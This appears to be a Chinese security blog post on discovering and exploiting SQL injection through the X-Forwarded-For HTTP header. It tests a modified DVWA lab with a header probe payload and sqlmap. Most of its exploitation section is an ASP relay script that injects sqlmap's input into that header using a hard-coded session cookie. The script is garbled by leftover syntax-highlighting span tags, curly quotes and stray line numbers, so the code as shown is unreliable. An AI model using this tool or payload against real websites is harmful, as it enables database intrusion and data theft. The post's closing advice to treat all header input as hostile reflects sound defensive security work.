目前市面上web漏扫均可以轻易的检测出以GET或POST方式传参的sql注入点,在实际测试过程中,笔者发现多数漏扫检测HTTP头注入问题的能力还不是太理想,这里分享下笔者对于HTTP头注入的发现和利用过程,欢迎各位大牛批评指正。
0×01、HTTP头注入的发现
推荐使用安装了Modify Headers插件的火狐浏览器对目标站点进行信息收集,该插件可以自定义HTTP 头信息,截图如下:
界 面很简单,其中select action下拉单中的三个选项中modify比add优先级高,filter为过滤头字段操作,这里以新增http头字段X-Forwarded- For为例,下图红框中最前面选择add,紧跟着写入X-Forwarded-For,然后输入自定义的数值:我这里输入“x- for’;”>xxoo<!–”(不含引号),配置完成后依次点击save、确定即完成配置。
然后使用火狐浏览器浏览存在X-Forwarded-For sql注入漏洞的站点,这里笔者略微改动下dvwa,以配合测试,如图:
用配置好的火狐登录dvwa后,点击SQL injection选项,user id随便输入后点击submit,弹出典型的sql注入报错页面如图:
实际测试中,我们可以同时定义多个http head字段,然后浏览目标网站,进而发现漏洞,用该配置浏览器上网,常有意外收获,这里贴一张实测截图:
0×02、HTTP头SQL注入的工具化利用
漏洞发现了,下面讲讲利用。多数注入工具仅能覆盖http头中的cookie、user-agent等字段,对于X-Forwarded-For 等部分字段并不能全面覆盖。对于X-Forwarded-For sql注入,网上多是通过抓包增加“X-Forwarded-For :*”内容,然后利用Sqlmap –r 方式对其注入,笔者曾使用sqlmap1.0,同时测试变更level参数等操作,最终并未成功利用,这里还望实验成功的大牛指点。下面笔者介绍一个利用 寂寞的刺猬中转注入实现工具化利用的方法。 在寂寞的刺猬的中转注入代码中添加头字段”X-Forwarded-For”并赋值,值得注意的是这里不需要url编码和空格替换,代码略作修改后如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
<span class=“pln”> </span><span class=“pun”><%</span><span class=“pln”>
</span><span class=“pun”>‘感谢寂寞的刺猬</span><span class=“pln”>
sqlStr</span><span class=“pun”>=</span><span class=“pln”>request</span><span class=“pun”>(</span><span class=“str”>“g”</span><span class=“pun”>)</span><span class=“pln”>
</span><span class=“str”>‘存在注入点的文件
actionUrl=”http://192.168.184.137/dvwa/vulnerabilities/sqli/?id=&Submit=Submit”
‘</span><span class=“pun”>来源</span><span class=“pln”>URL
refUrl</span><span class=“pun”>=</span><span class=“str”>“http://192.168.184.137/dvwa/vulnerabilities/sqli/”</span><span class=“pln”>
</span><span class=“str”>‘添加cookie信息,实现过认证注入
cookieStr=”security=low; PHPSESSID=23887004dcb450bd3632e2bab6d30a31″
‘</span><span class=“pun”>发起</span><span class=“pln”>HTTP</span><span class=“pun”>请求</span><span class=“pln”>
response</span><span class=“pun”>.</span><span class=“pln”>write </span><span class=“typ”>PostData</span><span class=“pun”>(</span><span class=“pln”>actionUrl</span><span class=“pun”>,</span><span class=“pln”>sqlStr</span><span class=“pun”>,</span><span class=“pln”>cookieStr</span><span class=“pun”>,</span><span class=“pln”>refUrl</span><span class=“pun”>)</span><span class=“pln”>
</span><span class=“str”>‘构造HTTP头注入数据包
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject(“msxml2.serverXMLHTTP”)
With Http
.Open “POST”,PostUrl,False
.SetRequestHeader “Content-Length”,Len(PostStr)
.SetRequestHeader “Content-Type”,“application/x-www-form-urlencoded”
.SetRequestHeader “Referer”,PostRef
.SetRequestHeader “Cookie”,PostCok
.SetRequestHeader “X-Forwarded-For”,PostStr
.Send “G”
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = “”
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
</span><span class=“pln”>%></span>
|
本地搭建后利用sqlmap测试如图:
Wireshake抓包可以看到http 注入包构造成功
0×03、写在最后
一切输入都是“有害”的。web数据交互不仅仅局限于GPC(get/post/cookie),网站从http头中收集用户信息已成主流,这部分信息同样会存在常规的sql注入、xss等安全问题。最后,提醒大家有一个字段叫X-UP-Calling-Line-ID。
【via@0×87-loudong360】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号